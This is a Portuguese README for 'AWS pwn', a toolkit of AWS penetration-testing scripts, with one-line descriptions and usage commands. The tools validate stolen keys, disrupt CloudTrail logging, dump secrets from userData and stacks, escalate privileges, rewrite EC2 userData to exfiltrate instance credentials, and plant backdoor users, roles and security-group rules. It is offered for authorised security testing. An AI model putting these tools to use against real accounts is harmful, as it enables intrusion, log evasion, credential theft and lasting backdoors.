AWS pwn
Resumo
Esta é uma coleção de scripts terrivelmente escritos para realizar várias tarefas relacionadas a testes de penetração na AWS. Por favor, não fique triste se não funcionar para você. Pode ser que a AWS tenha mudado desde que uma determinada ferramenta foi escrita ou pode ser que o código é uma porcaria. De qualquer forma, sinta-se à vontade para contribuir.
A maior parte dessa porcaria foi escrita por Daniel Grzelak, mas houve muitas contribuições, principalmente de Mike Fuller.
Requisitos
pip install -r requirements.txt
Certifique-se também de configurar suas credenciais AWS em ~/.aws/credentials.
Reconhecimento
Coisas para fazer com a coleta de informações pré-comprometimento.
- validate_iam_access_keys.py - Dado um arquivo TSV de combinações de access key + secret [+ session], verifica a validade do acesso e retorna informações de identidade do principal.
./validate_iam_access_keys.py -i /tmp/keys.txt -o /tmp/out.json
- validate_s3_buckets.py - Dado um arquivo de texto com uma palavra por linha, verifica se os buckets existem e retorna informações básicas de identificação.
./validate_s3_buckets.py -i /tmp/words.txt -o /tmp/out.json
- validate_iam_principals.py - Dado um arquivo de texto com principais (ex.: user/admin, role/deploy), verifica se os principais existem em uma determinada conta.
./validate_iam_principals.py -a 123456789012 -i /tmp/words.txt -o /tmp/out.json
- validate_accounts.py - Dado um arquivo de texto com IDs de conta e aliases de conta, verifica se as contas existem.
./validate_accounts.py -i /tmp/accounts.txt -o /tmp/out.json
Exploração
Coisas que ajudarão você a ganhar uma posição em uma conta.
Furtividade
Coisas que podem ajudar você a permanecer oculto após comprometer uma conta.
- disrupt_cloudtrail.py - Tenta interromper/paralisar o log do CloudTrail da maneira especificada.
./disrupt_cloudtrail.py -s
Exploração (ambiental)
Coisas para ajudar você a entender o que você comprometeu.
- dump_account_data.sh - Chama várias funções genéricas de leitura/lista/obtenção/descrição baseadas em conta e salva os dados em um local determinado. Muito barulhento, mas ótimo para um snapshot pontual.
./dump_account_data.sh /tmp/
Elevação
Coisas para ajudar você a navegar por uma conta e obter diferentes níveis de acesso.
- dump_instance_attributes.py - Percorre cada instância EC2 na conta e recupera os atributos de instância especificados. Mais comumente usado para recuperar userData, que tende a conter segredos.
./dump_instance_attributes.py -u -o /tmp/
- dump_cloudformation_stack_descriptions.py - Recupera as descrições de stack para cada stack existente e cada stack excluída nos últimos 90 dias. Parâmetros em descrições de stack geralmente contêm senhas e outros segredos.
./dump_cloudformation_stack_descriptions.py -o /tmp/data
- assume_roles.py - Tenta assumir todas as funções (ARNs) em um arquivo ou fornecidas pela API list-roles.
./assume_roles.py -o /tmp/out.json
- add_iam_policy - Adiciona a política de administrador e todas as ações a um determinado usuário, função ou grupo. Requer privilégios IAM putPolicy ou attachPolicy.
./add_iam_policy.py -u myuser -r myrole -g mygroup
- bouncy_bouncy_cloudy_cloud - Reinicia uma instância EC2 específica e reescreve seu userData para que você possa executar código arbitrário ou roubar credenciais temporárias do perfil da instância.
./bouncy_bouncy_cloudy_cloud.py -i instance-id -e exfiltration-endpoint
Persistência
Coisas para ajudar a manter seu acesso a uma conta.
- rabbit_lambda - Uma função Lambda de exemplo que responde a eventos de exclusão de usuário criando mais cópias do usuário excluído.
- cli_lambda - Uma função Lambda que atua como um proxy da AWS CLI e não requer credenciais.
- backdoor_created_users_lambda - Uma função Lambda que adiciona uma chave de acesso a cada novo usuário criado.
- backdoor_created_roles_lambda - Uma função Lambda que adiciona uma relação de confiança a cada nova função criada.
- backdoor_created_security_groups_lambda - Uma função Lambda que adiciona uma regra de acesso de entrada especificada a cada novo grupo de segurança criado.
- backdoor_all_users.py - Adiciona uma chave de acesso a cada usuário na conta.
- backdoor_all_roles.py - Adiciona uma relação de confiança a cada função na conta. Requer edição do arquivo para definir o ARN da função.
- backdoor_all_security_groups.py - Adiciona uma regra de acesso de entrada especificada a cada grupo de segurança na conta. Requer edição do arquivo para definir a regra.
Exfiltração
Coisas para ajudar você a extrair e mover dados de maneiras AWS.
Miscelânea
Outras coisas que eu era muito estúpido ou muito preguiçoso para classificar.
- reserved_words.txt - Uma lista de palavras/tokens que têm algum significado especial na AWS ou que provavelmente terão algum significado especial em breve.
- endpoints.txt - Uma lista um tanto atualizada de endpoints de API expostos pela AWS.
- integrations.txt - Um TSV de serviços que se integram com a AWS por meio de funções ou chaves de acesso e seus IDs de conta, nomes de usuário padrão etc.
- download_docs.sh - A linha de comando para wget todos os documentos da AWS porque sou estúpido e perco tempo refazendo isso toda vez.
A fazer
- Adicionar senhas aos usuários para persistência
- Despejar recursos da stack
- Validar MFA
- Adicionar mais chamadas ao dump_account_data
- Adicionar mais métodos de interrupção de log
- Criar um script de análise do CloudTrail para extrair boas informações do CloudTrail
- Criar um enumerador de permissões de bucket S3
- Criar ferramenta para obter credenciais AWS de locais comuns no disco
- Criar ferramenta de clonagem
- Criar ferramenta boba de escalonamento de privilégio que usa passrole
- Validar filas
- Validar tópicos de notificação
- Corrigir scripts de persistência para usar argumentos em vez de constantes dentro dos scripts